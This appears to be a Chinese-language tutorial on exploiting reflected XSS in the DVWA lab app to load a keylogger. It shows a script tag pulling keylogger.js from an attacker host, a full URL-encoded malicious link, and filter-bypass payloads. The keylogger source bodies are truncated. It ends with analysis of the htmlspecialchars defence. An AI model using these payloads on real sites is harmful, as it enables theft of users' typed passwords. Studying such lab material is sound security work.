xss反射型漏洞利用-键盘记录器
xss漏洞原理:XSS跨站脚本攻击原理及常见攻击手段
键盘记录器
keylogger.js
1 | document.onkeypress = function(evt) { |
该脚本是放在攻击者的机器中,让用户访问执行解析用的;用户执行了,在浏览器里键盘输入的字符就会发送到keylogger.php进行处理。下面就是keylogger.php的代码。
keylogger.php
1 |
|
该php脚本是用来接受受害者用户返回的数据,即键盘输入的值,然后保存到keylog.txt文本中。
所以可以事先创建keylog.txt文件
总之我们我们需要准备三个文件
那么接下来就是构造有反射型xss漏洞网站的url链接,诱骗用户点击
1 | <script src=http://192.168.43.44/keylogger.js></script> |
将上面的脚本插入到链接中
1 | http://192.168.43.117/dvwa/vulnerabilities/xss_r/?name=%3Cscript+src%3Dhttp%3A%2F%2F192.168.43.44%2Fkeylogger.js%3E%3C%2Fscript%3E# |
实现的效果如下
任意输入的字符都会被记录(在当前页面)
思路:诱骗用户点击url,点击之后获取攻击者的keylogger.js脚本并解析;解析之后,用户在该页面输入的任何字符会发送到keylogger.php页面进行处理,如果是登陆的站点页面,攻击者就可以轻松获得用户明文的用户名密码。
反射型xss源码分析
low
1 |
|
从源码来看,服务端没有对输入的数据做任何的处理就直接返回给用户,这样攻击者可以非常容易地注入恶意的javascript脚本;
1 | <script>alert('XSS')</script> |
medium
1 |
|
将安全等级提高到medium,代码中使用str_replace()函数,作用是将输入的数据中含有”<script>”的标签过滤掉; 然而这样的过滤没有什么用,只要替换字母大小写即可绕过,如”<scRipt>”、”<ScrIpt>”等。
或在原本的标签中再插入同样的标签,如下:
1 | <scr<script>ipt>alert('XSS')</script> |
hign
1 |
|
在高安全的代码中,使用了htmlspecialchars()对数据进行过滤清洗;
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
(这里实体的意思是:有些字符在html中有特殊含义,如>或< ,要想使用这些字符,就必须使用实体字符)
预定义的字符是:
- & (和号)成为 &
- “ (双引号)成为 “
- ‘ (单引号)成为 ‘
- < (小于)成为 <
- > (大于)成为 >
使用了这个函数,脚本中标签的小于号、大于号就会被转换为<;和>;,并在返回时让浏览器重新解析
目前来说并没有好的方法能够绕过,可以说有效的防止了xss攻击。